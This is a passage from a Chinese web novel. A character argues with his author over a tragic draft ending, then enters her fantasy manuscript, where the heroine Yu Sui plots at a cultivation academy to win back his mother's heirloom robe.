一句话给屠女士整应激了,“你清高!五十多万字不叫书你在这干什么呢?特意跳出来喝口水顺便再留个到此一游?” 丁年被噎了一下,往回找补,“前面七万多字倒也写的马马虎虎……” “呵,那你让我解释什么?” “八章,我死了两次,久别重逢了四次,未完待续了三次,大刀小刀虐我八次,也不给浓墨重彩的救赎,请问,你没有心么?” “请问,你不爱虞岁么?” “我不是爱惨了她我来找你说什么?” “你爱她,你说的这些就不成立,情爱都有试金石,没有矛盾冲突哪有转折给你清楚心意展示爱意?又没让你死八回,结婚的时候你怎么不说?丁年哥哥喊的你暗爽的时候你怎么不说?虞岁殉情的时候你怎么不说?虞岁被你乱道心的时候你怎么不说?虞岁为你冒天下之大不韪的时候你怎么不说?虞岁香香软软的身体被你抱怀里高潮迭起的时候你怎么不说?况且,给你的背景线就是虐你才合理,为什么要让虞岁跟你一起受罪才算救赎?打着救赎的幌子让她受罪那本质还是虐女。” 丁年的气焰一下子消了大半,最终只干干巴巴的说了一句,“你说的对。” 又看了看稿纸,“那我的救赎呢?不打算多些笔墨么?” “虞岁的出现,对你来说,就是救赎,世上若无虞岁,无人爱你丁年。你得把这个事实融进骨血里。” “我竟然觉得你言之凿凿,很有道理。” “不然呢?让你上桌吃饭还要把锅端走顺脚再踹一下厨子?” “那么我再请问伟大的屠老师,这些又是什么?您就准备照这个走向给我和虞岁安排之后的每一个结局了么?” 她顺着他手指的方向看过去,这是她正在修改的简纲和初定结局的手稿。 纸上密密麻麻写满了字,最突出的就是一句:最终,虞岁终于触碰到了她的光。 但这句话,被加粗加重的线划掉了,重写了一句:虞岁的光,灭了。 虞岁一直等着丁年,最后觉得,去陪他是比等他更浪漫的事。 所以又重复加粗画了道线划掉,改写成:虞岁死在丁年的墓前。 断腕处的鲜血昭示着她爱的决绝,每一滴流淌下的血迹背后都有令人动容的情字暗涌。 光看画线的力度和重改的字迹,都能感觉到写下这段的人有多大的情绪起伏。 这怎么解释?就这涂涂改改的手稿,谁看了能不说一句上头? 好歹也是无数个分分秒秒锤炼出来的得意之作,断然容不得谁轻易置喙。 “这不是更能凸显你和虞岁的爱情么?殉情啊,be美学的天花板了。” 丁年笑了,不像是满意的笑,更像是气笑了,他黑色的眸底深处像是能把人吸进去的漩涡。 他不动声色的挑了挑眉,目光重新放到手稿上,捡了一大段文字读了出来: “【虞岁坐到墓碑旁,抬手轻抚照片上少年的脸,他还是笑的那么干净惑人。 她慢慢的靠近照片,轻轻吻了吻他的脸。 丁年,还记得我为你写的那首歌么? 每次都没唱完,今天唱给你听好不好? 一幕幕,一帧帧画面,都浮现在脑海里面, 我给你的,总是讨人嫌的一面, 我和你,这些年风雨,早已烙进我的心里, 我后悔的,是我从前常常抱怨, 你在我心头天平最重的一边,可我从未好好吻过你的脸。 当初不懂好好把你捧在手心,如今我不再畏惧沧海桑田, 想对你,说声抱歉,有那么多让你难过的瞬间, 想对你说一声抱歉,曾数次令你,泪水涟涟, 想对你说声抱歉,因为有我你才努力这些年, 想对你说一声抱歉,是我明白太晚让你辛苦了这么多年。 轻轻唱完,她泪流满面,丁年,竟是以这种方式让你听到完整版。 天空淅淅沥沥的下起了小雨,秦艽点了支烟,拿出那只银制的钉子手镯,狠狠的戳进戴着丁年为她定制的手镯的手腕。 深深的划出一道伤口,殷红的血瞬间涌了出来。 你出现之前,我不相信有光。 你走之后,我的光灭了。 丁年,我放过自己了。 虞岁倚着墓碑,有一滴泪从眼角滑落,她释怀的笑了着,缓缓的闭上了眼。 那个怕黑的少年,独自承担黑暗,却给了她光。 丁年,等等我……】” 丁年读完,缓了半天,眉眼间都是化不开的悲恸,他放下稿子,揉了揉眉心,声音有些阴测测又闷闷的: “我和虞岁,经历了那么多,你的简纲上写着我们会在一起,明明定位是现言甜宠,最后为什么把我们写死?” 他停顿了一下,加重语气咬牙切齿的接着问:“人都没了,用这些无病呻吟的华丽辞藻修饰有什么意义?” 屠女士不好意思的笑笑,“当初第一版的底稿申签了七次没通过,我觉得是太甜了没有市场,所以想试试be美学。” “这就是你强行be的理由?”,丁年满脸都写着一个意思,我不信你少来。 “我可太想签约成功了,本来是她不知道你的死讯,一直苦苦等你,最后摆烂,变成了,殉情。” “然后呢?把我们写死了你就通过了?狗都嫌的路子你让我和虞岁走一遍?” 说到这,屠女士有些泄气了,“结果我笔名自杀了,换成现在的,你嘴里的屠女士。” 丁年凉凉的说给她一句:“别怪路不平,怪你人不行。” “不行?哪不行?来,你展开说说” 丁年真的就听话的翻给她看,试图让她认识到自己的不足并改正,“你看,你这段开头写的【天气转凉,落叶黄。穗城今年的秋天比往年都冷,仿佛能冷到人心坎里去。 穗城女子监狱沉重的大门缓缓打开,一抹颀长的身影慢慢的走了出来。 她逆着光走来,周身的气场就像是数九寒冬里凛冽的风裹挟着绵密不绝的雪,低调伺伏而又藏锋。 明明是极媚的丹凤眼,眼底却像是藏着化不开的冰,巴掌大的脸上没有任何跟情绪有关的显示。 虞岁,鉴于你的表现良好,所以可以提前出去,以后要好好生活,方脸女狱警柔声的说着,递过去虞岁存放的物品,以及一个黑色的绒盒。 虞岁接过,打开盒子看了一眼,合上,颔首道谢,脸上依旧没什么表情,可细看之下那双淬了冰的眸子却隐隐有融化的迹象。 方脸女狱警看了看她,欲言又止,另一个圆脸女狱警走上来拍了拍方脸女狱警的肩,示意她回去。 两个女狱警渐渐走远,风中传来两人轻轻的交谈声: “你别指望她会跟你交流,能道谢就是顶了大天了,三年了,她说话的次数两只手都能数过来”,圆脸女狱警语气娇憨。 “我就是觉得她很可惜,听说过很多关于她凶狠的传言,但是很难把那些事情套到她身上‘’,方脸女狱警语气中透着怜惜。 虞岁对她们的对话恍若未闻,走到刻着监狱样的巨石后倚靠着,打开绒盒细细打量,眼神中透露几分不易察觉的暖意。】 哪个正经主角一来就从监狱里出来?能过审才怪,你怎么不干脆写她的犯罪细节呢?格局打开,第一章写她犯罪,第二章写她坐牢,第三章写她死刑,然后再重生洗心革面……” “黄金三章,就是要这样才让人想往下看,想知道她为什么进去”,屠女士坚决不承认自己写的有问题。 “冲突情节和磨难都在后面展开,前面太平了”,丁年一副我从书中来、没人比我更懂的姿态。 “所以呢?” “所以我和虞岁,应该在一起,活着,在一起,甜蜜的,长久的,在一起,一直在一起。” 丁年说这话的时候,郑重其事的像在许愿。 看他这样,屠女士愣了愣,忽而像是想到了什么,“行啊,笔给你,你来写。” “嗯?” 他这个声音,撩人而不自知。屠女士暗自感慨,还得是我啊,这纸片人塑造的多好。 “我手里有本古言,卡文了,我让你和虞岁去那本里,甜腻腻,也算是让她重生了,带着现言的记忆,去古言里找你,你不是要救赎么?这种有前世今生的基础奠定出来的救赎我是认可的。” “我不信,你又要给我们下套,现言给我们按大纲结局就好了啊,何必麻烦?” “去古言里,按你们的故事走向给我结稿,我就给你们改现言的结局,这不就等于前世今生都he了么?还是说,你对你们的感情不自信?” “无比自信。只不过你写的太苦,就没构建过一帆风顺的世界。你最擅长用华丽细腻的文字去修坟。” “什么叫甜?不尝过苦,怎么能感觉到甜?你是不是不行?” “行,怎么不行?我可太行了!我就一个要求,这次换我去经历那些阴暗面。她是我心里的月亮,在现言里都被你写成沟渠了,人人都说她是沟渠。” 丁年这些话几乎是咬着后槽牙说的,足见不满的程度。 “来,这本,放心的去吧”,屠女士打开床边柜子的抽屉,拿出一沓订好的手稿。 “她会记得我么?” “会,但你不会记得她。” 不给他消化的机会,屠女士又补了一句: “她是众星捧月的权臣之女,你是人人喊打的罪臣之子。你逃她追,我想看你插翅难飞的戏码。” 丁年用看变态的眼神,深深的看了屠女士一眼,“记住你答应我的,如果你失信,我将在每一个有意识的时刻,诅咒你写的文字永无出头之日,还会被人抄袭融梗,还要被人倒打一耙,维权无门。” 对于码字的人来说,这无疑是世间最恶毒的诅咒。 丁年说完,接过那本古言手稿,手指刚触碰到页面,那纸张像是一汪湖面,有看不见的涟漪圈圈荡荡,顷刻间,丁年便消失不见。 只有沙发上那本翻开的现言手稿,提示着,丁年真真切切的来过。 来为他和虞岁差点发生的悲恸结局努力过,来为他和虞岁一起奔赴璀璨星河争取过。 不多时,古言手稿上,多了一段文字: 【朝欢大陆每五十年选一任英明的决策者,称帝,可连任,可于权贵世家中选新。 四大世家——丁、柳、楚、虞的地位不可撼动,权势滔天,各自为营。 一朝天子一朝臣,在权力斗争腥风血雨的厮杀中,四大世家之首的丁家,欲取天子而代之,后经萧家连同另外两大世家铁腕镇压。 斩丁家家主于城门马下,丁家一众男子赐鸠酒,女眷没为官奴歌姬。 帝念稚子何辜,丁年尚且年幼,遂留活口,养在后宫。 百姓纷纷称赞其仁德。 至此,四大世家唯留其三,元气大伤,权势大不如前,各自韬光养晦,十分低调。】 丁年,既然你说虞岁是你的月亮,这一次,明月偏要照沟渠。 修真大陆,六道学堂门口。 “你是朝欢大陆虞家的人?”,像是想确定什么,又问了一句,“奸臣虞梦为的女儿?” 众人循声望去,被问到的女子一袭黑衣,盈腰长腿,黑发如墨,肩头舒展,脖颈线条精致,宽大的领口露出细致的蝶形锁骨,远远望去颇有几分绝世独立的味道。 听到‘奸臣萧梦为’几个字的时候,女子神情未变,只眼眸里寒光微闪,清泠泠的声音响起:“初执。” 她身旁被唤做初执的护卫,眉眼弯弯的缓缓走到那精灵面前,忽而敛了神色, 以迅雷不及掩耳之势抽出腰间的软剑,游龙走蛇般缠上说话那人的脖子。 众人只见一道银光闪过,只一瞬,那人便软软的倒下,瞪大的双眼中满是惊愕,连声哀嚎都来不及发出。 见同伴被屠,另一个接引者恨声怒骂,“低贱的东西,当这里是什么地方,容得下你们放肆!” 不等他再说什么,女子上前狠狠给了他一巴掌,快准狠的打歪了他的头。 “记住,我叫虞岁,以后,不要惹我”,虞岁说着,用丝帕擦了擦手,扔到那人脸上,“赔你的。” “不知死活!”,那人还在咒骂。 围观的学生也是一片哗然,纷纷议论这个虞岁的来头。 有那知道虞梦为的学生,七嘴八舌的嘀咕起来,说到激动的时候,声音越来越大: “虞梦为那是朝欢大陆的御前红人!” “切,什么红人,走狗罢了,真当自己是碟子菜了?!” “你知道什么,他们朝欢大陆不崇尚术法,咱们修真大陆的手段在那里属于禁术,那些文臣武将格外受宠,虞梦为可算是全才!” “不止呢,听说他还有个儿子虞舜,也是个惊才艳绝的人物!” “凭他是谁,这里是云霄山,可不是朝欢大陆那一套能行得通的!” “就是就是,六道学堂真真切切死了个接引者,哪那么容易让她逃过去?” “闹什么?!”,忽然一声暴喝。 人群中有识得来人的学生悄声说了一句,“林西宾来了”。 初执低声在虞岁耳边说:“郡主,咱们这次没有圣諭,大张旗鼓的闹这一出,恐怕不能善了。” 虞岁浅笑,“慌什么?这时候就体现出权势的好处了,不给我面子也得给宋帝几分薄面。更何况,如果云霄山果真如外界说的那样生死人,肉白骨,这点子动静算什么。” 说话间,林西宾已经走到人群中间,“这是怎么回事?” 那接引人率先发声:“禀西宾,这虞岁肆意伤人,手段暴戾!” 林十三转头问萧晚景:“你怎么说?” “他诋毁家父在先”,虞岁的声音没什么温度。 接引人不依不饶的开始他的表演,哭的一把鼻涕一把泪,“西宾明鉴,您是知道我的,这么多年这么多期学生,我自来都是兢兢业业的,何时与人有过口舌?” 边说着,摸了摸被打的脸,那脸上的指印瞬间变得狰狞,隐隐有腐烂的迹象。 虞岁看明白了,这人不惜用法术腐蚀自己的脸,为的就是拖自己下水。 手段是拙劣了一点,不过重要的是结果,是看的人愿不愿意相信,是能不能达到想要的效果。 果然,林西宾身边的训导姑姑耐不住了,从宽大的袍袖中取出一小捆绳索样的物件,走到虞岁就要动手…… 接引人见此情景,继续煽风点火:“素闻朝欢大陆视仙法为禁术,虞姑娘的父亲又是权臣,自是不会把我们这些低等的接引者放在眼里,姑姑还是算了吧,虞家的势力是朝欢大陆出了名的难缠,断不可处罚!” 这言下之意,如果不处罚就是怕了虞家的势力,况且朝欢大陆和修真大陆的关系地位一直处于很微妙的纠缠状态。 这一口一个朝欢大陆,可不就是提醒众人,虞岁是个外人么? 一个是初次见面的修真大陆的外来者,一个是来日方长的六道学堂的接引人,选谁,这不是道送分题么? 当下就有人开始附和了,“我等看的分明,是朝欢大陆的人傲慢在先,接引人不过提点一句,她们就动手伤人!” “是啊是啊,简直欺人太甚!” “如果不挫挫虞岁的威风,来日怕是要踩到西宾脸上去了!” 初执有些急,“郡主,我去跟他争辩,拆穿他!” 虞岁拍了拍她的手,示意她淡定,“拆穿他?有什么意思,看着他演多好?兴致上来了,我还可以陪着他演。” “郡主啊,这里不是咱们的地盘啊。” “说起来,你还记不记得去年在禹都的元舟堂,楚溶溶也是用了这招陷害我,要不是丁年,我爹还不得打死我……你看,到哪都能遇到这种招数,简单粗暴,行之有效。” “您还有闲心想丁世子?” “你别急,听我给你分析,虞舜查过,六道学堂的势力错综复杂,借这个机会刚好可以看看有没有哪一方可以为我所用,再不济,宋玉那厮不是也来了么?这会指不定在哪个犄角旮旯冷眼看戏呢,他要是眼睁睁看我出事,你就拿着我的印信回去给虞舜,届时我头七他破五,都别活。” “伤敌八百自损一千这事儿,也就郡主你能想出来!” “放心,到不了那步呢。”…… 才刚说完,就听人群中一道女声,“我可以证明,是接引人恶语伤人在先,企图动手在后,虞岁是不得不还手。” 虞岁勾勾嘴角,瞧,这不就有看头了么? 林西宾看着站出来的女子,有些头疼,这是上头交代过要留意的人,想了想,“即便有你作证,这人也死了,不是轻飘飘一句就能揭过去的。” “人没死,只是晕了”,她说着,走到那人面前,蹲下身,从随手的布包里取出一张符纸,贴到那人脖子上…… 那人脖子上的伤痕以肉眼可见的速度快速愈合,不多时,悠悠转醒。 林西宾看着她这波操作,眼底闪过一丝不易察觉的,带着几分嗜血的暗芒,这与她极其妍丽又极其柔和的外表有些不符,除了虞岁,没有人注意到。 “既然只是晕了,找人把他抬回去将养,你们都散了吧,之后会再通知你们授业观礼的时间”,林西宾说完转身,走之前想到了什么似的,意有所指的提点虞岁和那个女子:“藏好一点,底牌别露太早,不然就太无趣了。” 等林西宾走后,虞岁走到那女子面前,“多谢,还未请教姑娘芳名?” “魏执予。” “好名字,初执,去挑个好房间,我要跟阿予住一间”…… 不远处,一身黑色劲装,满身戾气的丁年,正隐在柱子后面打量着跟魏执予聊的有来有往的虞岁…… 他的眼底像有化不开的冰,视线只有在触及虞岁的时候,才会揉进一丝柔和,整个人昙花一现些许暖意。 刚刚在暗处旁观了魏执予为虞岁出头的过程,他明白,魏执予大抵是有些来头的,虞岁跟她在一起,想来暂时无碍。 转念一想,又不禁苦笑,他有什么资格去担心她的安危? 难不成还想要让月亮为他而来? 她是朝欢大陆最炙手可热的世家之女,她父亲是权臣,弟弟任要职,她耀眼的令人炫目,她的前路都是花团锦簇的; 而他不过是颠沛流离命如草芥的罪臣之子,她是明月,他是沟渠。 不敢想,不能想,不配想。 却怎么也忘不掉,那日雨中,她双目含泪的笑着问他:“叹彼时虞岁华年梦亦真,兮过往丁年壮志意犹存。难道总归要染泪修书寄彦章么?” 她的脸上,说不清是泪水还是雨水,有种破碎的美感。 让人想要呵护,也想要肆虐。那是令他辗转反侧的梦。 彦章,是丁年的表字。 是父亲母亲最后留给他的念想。 虞岁,你是我逢人就想炫耀、却又只能偷偷扎进心尖的鸢尾,不会让你枯萎;于你无愧,于我无悔。 你之于我,怎一个情字了得?我之于你,岂甘区区过客? 虞岁觉得,这个魏执予肯定不是等闲之辈,她坐在厚厚的地毯上,随手倒了两杯热茶,转动指间的菡萸戒,一道泛光的结界瞬间形成。 “正式认识一下,我是魏执予,我来这里是为了集齐本该属于我的九件法器,你呢?” “如你所闻,我是朝欢大陆三大世家之首的虞氏女,我还有个弟弟叫虞舜,不日也会来这,我父亲和弟弟深受皇帝倚重,连带着我也被册封郡主,我来这里……” 虞岁说到此处的时候,停顿了一下,找了个舒服的姿势倚着身后的美人靠,认真的说: “我来这里,是为了一个少年,一个我放在心上很久很久的少年。” “朝欢大陆的路子都这么野的么?” 虞岁笑笑,这一笑,与她高冷不可一世的外表并不相符,就像是卸下了浑身的刺和铠甲。 “他为我付出了很多,多到他自己都不记得了,但我永志不忘。” “他也在六道学堂么?你看过名单了,上面有他的名字么?” “他想要做的事,就像一块需要拼凑完整的图板,六道学堂里有不可缺失的一块,我猜他会来”,萧晚景的眼里满是运筹于帷幄的精芒。 “守株待兔?高,我挺佩服你们这些讲究谋略的人,心思比九连环还难解”,魏执予有些感慨。 “也不算谋略,不过是走一步想十步,再设身处地的想想如果我是他我会怎么做,其实,在我的认知里,更应该强者为尊,想要的,就靠实力,没有什么手段和技巧。在绝对的强度面前,死活都要惨烈,爱恨都要带血。我现在的处境,有很多无形的枷锁让我束手束脚,做什么事都要绕个圈子,需用四两拨动千金,说起来,我很羡慕你的不羁和洒脱”,虞岁的语气中有些向往。 如果虞岁有的选,她也不想所有的桀骜不驯都演变成绵里藏针。 正说到兴头上,窗外传来初执的声音:“郡主,仁亲王来了。” 魏执予偏头看向虞岁,她听到仁亲王三个字的时候,眉头皱了皱,似是对来人无比厌烦。 遂开口问她:“讨厌的人?” “这么定义不是很准确,等下看了他人,你就知道了,他是一个……嗯……很假的人”,虞岁思考了一下,语气里有说不清的鄙夷。 两人起身,走到院子里,见了仁亲王其人,魏执予不禁哑然失笑,怎么说呢,他担得起俊美无双四个字。 陌上人如玉,公子世无双的无双。 没有可挑剔的地方,恰到好处的俊秀,恰到好处的温润,举止得体,连笑容都那么的恰到好处。 确实像虞岁形容的那样,假,很假,像戴了面具。 明明没戴面具,却让人有撕碎他那副假面孔的冲动。 见虞岁出来,他笑盈盈的上前,“岁岁,别来无恙”,又看了看魏执予,“不介绍一下么?” 魏执予直觉,这位仁亲王,不是等闲人物。 他的眼底明明没有丝毫情意,但他看虞岁的眼神,却无比的深情。 像是无数次演练好的技能点一样,哪里需要点哪里。 虞岁恭恭敬敬的行了一个挑不出错的礼,“仁亲王安好,这位是我的好友魏执予。” 仁亲王看着她行礼,待她礼毕,虚扶了一把,“岁岁,你总是这样多礼,不是说了么,叫我的名字,宋玉,或者,像容郡主那样,叫我宋玉哥哥。” “不知仁亲王此行为何而来?”,虞岁并没有接他的话。 “我来这里寻丁世子,正好碰到罗什门的二门主,他邀我多住几日,参观一下六道学堂。” 提到丁年,虞岁都懒得跟他装了,冷笑一声:“怎么?上回在禹都的黑牢里没要了他的命,巴巴的跟到这来再补一刀?” 宋玉的脸上没有丝毫异色,甚至带了点宠溺,“岁岁,你还是那么爱说笑。” “仁亲王言重了,我从来不跟你开玩笑。” “舟车劳顿,想来岁岁也乏了,招呼打完了,我还有事,先走一步”,说完,又温和的对魏执予说:“岁岁娇气惯了,你与她同住,凡事多担待些。” 也不需要魏执予回应,转身走了。 魏执予看的啧舌,宋玉的仪态一看就是精心培养过的,每一步走的都跟用尺子丈量好了一样。 回到内室,魏执予颇有些八卦的对虞岁说:“这人倒是有意思,要不是看你对他的态度,我都要以为他心悦于你了。” “如你所见,他对所有人,所有女人,都彬彬有礼,挑不出错处,不过,坊间传闻,宋玉不好美色,偏爱残容。” “嗯?慕残?” “他对国色天香的美人没有兴趣,只喜欢那些脸上有异妆或是伤疤的美人。” 宋玉喜欢一切美好又残缺的东西,最好那美好上的残缺是拜他所赐。 这世上最迷人的,无外是摧毁美好和建立美好。 摧毁美好,是为了拥立残缺的附属; 建立美好,言行都会被人奉为圭臬。 魏执予点点头,又想到什么,“你的心上人,是宋玉说的丁世子?” “嗯”,说到这个,虞岁的脸上浮现一丝羞怯。 “你是郡主,他是世子,天造地设的一对。” “他心里装了太多,却唯独没有我。” “所以呢?” “所以我一定要让他心里有我。” 她说这话的时候,艳如桃李的脸上尽是志在必得。 倒叫魏执予有些好奇那个丁世子是何等人物,能让高傲骄矜如虞岁这般模样。 隔天一早,宋玉就来请虞岁和魏执予一同去昭文馆参观。 “听闻六道学堂的地窖中放着不少珍宝法器,仁亲王可是也要顺路一探究竟?” 魏执予笑吟吟的出声发问,问的宋玉有些怔愣。 法器?朝欢大陆视法术为巫蛊禁术,他要法器何用。 面上却不显,“本王也是第一次听说,六道学堂还有处存放法器的地窖,不过,比起法器,我对昭文馆存放的缂丝描花如意袍更感兴趣”,他边说边看虞岁,似是意有所指。 缂丝描花如意袍?看他如数家珍,难不成是朝欢大陆的东西? 魏执予偏头看了看身旁的虞岁,她正若有所思,微微蹙眉。 “缂丝?名字倒是别致” 宋玉温和的笑笑,“在我们朝欢大陆,素有一寸缂丝一寸金的讲究。织物表面只显彩色的纬纹和单色的地纬,正反两面花纹和色彩一致。由于采用局部回纬织制,纬丝并不贯穿整个幅面,即花纹与素地及色与色之间呈小空或断痕,‘承空观之,如雕镂之象’,故名缂丝。即使是最厉害的能工巧匠,一天也只能织几厘米,16道工序,极其复杂,错了一道就要重头开始。” 魏执予像是对缂丝描花如意袍很感兴趣,听完宋玉的介绍,接着发问:“因为得来不易,所以受人追捧么?那这如意袍,是出自朝欢大陆么?” “你想要?”,身后的护卫悄悄凑到她耳畔,轻声问她,言下之意,想要我便为你寻得。 魏执予轻轻摇头,眼神示意他稍安毋躁。 宋玉淡笑,食指轻轻转了转拇指上的扳指,“可还记得本王昨日提过的丁世子?这缂丝描花如意袍,正是他母亲的遗物。” “缂丝描花取的符合,这如意二字可有什么深意么?” “世事如流水,意阑随心动。赠她袍服的人,是想她一切随心,一生随性。” 才走到半路,就有侍卫走到宋玉身边,附耳低语,宋玉听完,不露声色的看了一眼虞岁,脸上挂出歉意的笑:“岁岁,宋玉哥哥临时有事,不如你们先行一步,我稍后再去。” 虞岁淡漠开口,“既然仁亲王有事,就改日吧。” 宋玉点点头,临走前说了句让人摸不清路数的话:“岁岁,你说丁年会不会因为你放弃他母亲的遗物?” 虞岁冷哼,最是厌恶他攻心这一套,当下回怼:“你有心思想这些,不如想想楚溶溶能不能接受你后院那些娇滴滴的伶人。” 宋玉笑的滴水不露,“岁岁,她,不用接受的。我现在的心思,都在你和你弟弟,还有你心心念念的丁年身上,你也收敛一点,我会不高兴的哦。” 他说这些,虞岁反倒冷静下来了,“多谢仁亲王不吝赐教,好走不送。” 回到容雅居,魏执予倒了两杯茶,问出了心里的疑惑:“为什么丁世子亡母的遗物会流落到修真大陆?” “听闻,她是你们修真大陆的魅族。从小养在深宫,与当时还不是皇帝的宋帝,以及最大世家的丁家独子都是青梅竹马的玩伴,后来,宋帝登基,欲立她为后,但她心里只有丁年的父亲,宋帝笑着成全了她和他……五年后,丁家被另外两大世家举报通敌叛国,以巫蛊术法祸乱江山,丁家上下一百多口,除了她和丁年无一幸免。她把年仅五岁的丁年托付给宋帝,恳求他念及稚子无辜,加以庇佑……得到承诺之后,抱着丁年父亲的骨灰决绝的离开朝欢大陆……回到修真大陆,在二人定情的一颗桃树下殉情,死的时候穿的正是这件缂丝描花如意袍,后被同族用袍子立了衣冠冢……不知怎么,竟辗转流落到六道学堂。” 虞岁语气中透着浓浓的伤感,寥寥数语也能听出丁世子的处境如屡薄冰。 “那你有什么打算?” “我来的时候,朝欢大陆流言四起,说这如意袍是妖物,丁年母亲的一缕芳魂定是附着在袍上,钦天监为求社稷安稳,上表提奏毁之镇邪祟……其实明眼人都能看出来,是有人故意放出消息,引得丁年来,说白了,这是怕他羽翼渐丰,所以为他设的一个拙劣低级的死局。” “是啊,你们朝欢大陆禁法术,如意袍就像是烫手的山芋,可身为人子,岂能视若无睹,换作是我,我也做不到置之不理。” 虞岁眼里有杀意闪现,“我不能眼睁睁看着他,跳进这个只待他露头就会扎紧口的袋子里。” “你这么说,定是心有成算了,有需要我的地方,尽管开口。” 听她这么说,虞岁有些好奇:“说起来,你我接触时日不长,没想到你竟肯如此。” “我做事,论心不论迹,刚好是你,对我脾气。” “若我只是利用你才循循善诱这些呢?” “虞岁,你有些小瞧我了,人心是什么颜色,我还是一眼看透的,所谓天子望气,谈笑杀人,没有点本事,我敢孤身来这里探求九件法器?” “抱歉,是我唐突了。” 魏执予摆摆手,“不必如此,指不定哪天,我要的法器有在朝欢大陆的呢?你承了我的情,我们来日方长。” 虞岁当下不再跟她客气,“我有一计,或许可以试一试。” “这点小事还需要计谋?你想要,抢我也为你抢了来,何必费脑子耗心血。” 魏执予当然不明白虞岁机关算尽的心思。在她看来,想要的,不择手段也要得到,在绝对的实力面前,不必兜圈子。 “在修真大陆,自是无谓,但是宋玉那厮可不是个省事的,我不希望回到朝欢大陆事情再有变数。” 对于虞岁来说,值得她劳心费神算计的事,就一定要钉死了,一丝意外变故都不准有。 “你准备怎么做?” “一定要在丁年出手之前,拿到缂丝描花如意袍,眼下最要紧的是盘算怎么光明正大的让如意袍属于我。” 在面向新生的昭文馆公放日,虞岁终于见到了带着神秘色彩的如意袍,她看了魏执予一眼,轻轻点头。 “你有什么想法?”,魏执予把虞岁拉到一旁。 “我感觉,丁年来了,就在这馆内,在宋玉注意不到的地方。” 听虞岁这么说,魏执予不动声色的看了看四周,凑到她耳边说:“刚刚宋玉的话你也听到了,他已经快人一步过了明路,要把这如意袍带回朝欢大陆。” “着实叫人有些措手不及,这样捷足先登,说明不是他一人所为,怕是宋帝也是授意过的。那从宋玉离开修真大陆到朝欢大陆,如意袍都不会轻易假手于人,准备的计策,也是用不上了。” 虞岁有一点沮丧,宋玉这番属于是釜底抽薪了。 “现在气馁未免有些早,这里是修真大陆,多的是路子”,魏执予老神在在的说。 “我虽不会法术,却也看得出来,这水晶罩周围波光粼粼,像是落了结界,想来不会是轻易能解开的,以你现如今的修为,能解么?” 魏执予轻轻摇摇头,“我只有法器,尚未研习过深的法术,我们修真大陆五族的结界都自成一派,想解,要先确认是哪一族的结界式样。” “都有什么特点么?” “我也只是听说,魅族的结界讲究美感,说白了就是花里胡哨;地族结界比较实用,也是最好解的;暮族的结界自带香气,很好辨认,且她们并不轻易落界;水族的结界很罕见,她们都是用蛟珠落界,只为自保,从不主动设结界;罗什门修仙人设置的结界,与其他几族相比,是最低等级的,因为它只能困住普通人,对另外四族无效,除非有特别的的法器加持。” 虞岁听的连连称奇,“难怪我们那里明令禁止术法,光人心都够乱了,再加上术法,宋帝的皇位也是别想坐稳了。那么凭感觉,你觉得会是哪种?” 魏执予思忖片刻,“我直觉是魅族,我们可以等到夜深人静的时候,再来仔细瞧瞧。” 正说着,林西宾走过来,指着台上的如意袍说:“你们也对这件袍子感兴趣么?” “如意袍别致,水晶罩也别致,像月光落在湖面一样,波光荡漾”,虞岁笑着接话。 “波光摇曳的不是水晶罩本身,是它周围的结界,很美吧?” “嗯,美不胜收,不知是何方神圣的手笔?” “是魅族,魅族的新月结。如一弯新月,朦胧,清透,能映出所有黑暗和欲望……” “果然不俗”,听到答案,虞岁和魏执予相视一笑。 “马上你们就会接触到这些法术幻术,先见识见识也好,有什么不懂的以后尽可以来问我” 然后虞岁就真问了:“听闻六道学堂有处地窖,存放着诸多珍贵法器,不知道什么时候能见识一下?” 魏执予觉得虞岁有时候是真莽啊,这么直接的问,是真没把林西宾当外人啊,她身份敏感,上来就问人家珍宝法器在哪…… 在短暂的怔忪过后,林西宾笑的平易近人的说:“如意袍的高台之下便是鸣金阁的入口,你们可不要随便进出,那里的机关可不是开玩笑的。” “机关?” “只可智取,无法强硬破坏毁损的机关,且每一关都有守关神兽。” 其实虞岁在这种事情上想的比较简单,既然林西宾看上去诚心诚意的示好了,那她就会大发慈悲的当真。 魏执予就很喜欢虞岁这一点:说她心思深重吧,她又有直率的一面; 说她戒备心重吧,她有时候又对人不设防; 说她天真单纯,她其实又见过这世间最残忍的恶; 她见过天地间所有的罪恶,却还持有一份直善纯良,这是可贵之处。 魏执予直觉虞岁有句话说的不对,她说丁年心里没有她,不可能。 晨露暮霞染天涯,谁逢虞岁不牵挂? 走出昭文馆,虞岁看到一个身影,她直觉就是丁年,她不可能看错,匆匆和魏执予解释一句,就追着他一路快步跟上去…… 前面的人影轮廓越来越清晰,她忍不住微微扬了声音, “丁世子留步!” 那身影晃了下好像停顿了,却没有驻足。 虞岁有些恼了,停下脚步,剧烈的行走致使她有些喘,声音有些颤抖, “丁年,你敢再走一步?!” 果然,前面的人听了这话,像是被施了定身咒,不再向前。 虞岁慢慢走到他面前,时隔一年,终于再次见到这张令她朝思暮想的脸。 人说桃花眼最是风流多情,可丁年的眼眸中却像有一汪寒潭,那里没有情愫,尽是对这世间的憎恶。 他瘦了,看得出来他过的不好,是了,他的境遇怎么会好? 宋帝容忍他的存在,如肉中沙砾,如鲠在喉。 早晚会除之而后快,早晚。 “郡主有何见教?” 他在看她,但他的眸光中没有她,像越过她在看这药园里的草木。 “丁世子舍得露面了?” 许多个日日夜夜,虞岁所有的怜惜不甘思念和恼恨都在这句问话里。 丁年的表情在她隐忍的情绪里有些微瓦解,“我来取亡母遗物。” “敏锐如丁世子,不会不懂这个中目的。” “聪慧如虞郡主,不会不知我别无选择。” 虞岁突然伸手拉住他的衣袖,迫使他看着她的眼睛,“你有,你现在有了,不要轻举妄动,我答应你,在宋玉离开这里之前,我定会设法让你拿到缂丝描花如意袍,好吗?” 她深深的温柔的看着他,眉眼间都是说不尽的风情魅惑和惹人怜爱。 丁年冷漠的神态开始松动,他看着她,她像一个月亮,温暖又蛮横的出现在他荒芜的世界里。 “为什么帮我?” “因为我想。” 虞岁还有很多话想对他说,但是说了他现在也不懂。 听了这话,丁年默默看了她一瞬,抿了抿唇,“好。” “知道我住在哪里么?”,虞岁放开了拉着他衣袖的手。 “知道,容雅居”,他盯着她拉过的袖口有些出神。 她没有深究他为何会知道,“明日午时若我在窗口放一盆君子兰,那便是已经得手,你便可进屋取走如意袍” “不要逞强。” 这四个字,让虞岁险些落泪,一瞬间,过往的另一本书的场景像幻灯片一样在她脑中不停闪现。 “放心,我有分寸”,说着目光深深嵌入他的轮廓,眷恋与不舍都藏在这一眼里,像是要把他的模样刻在脑海。 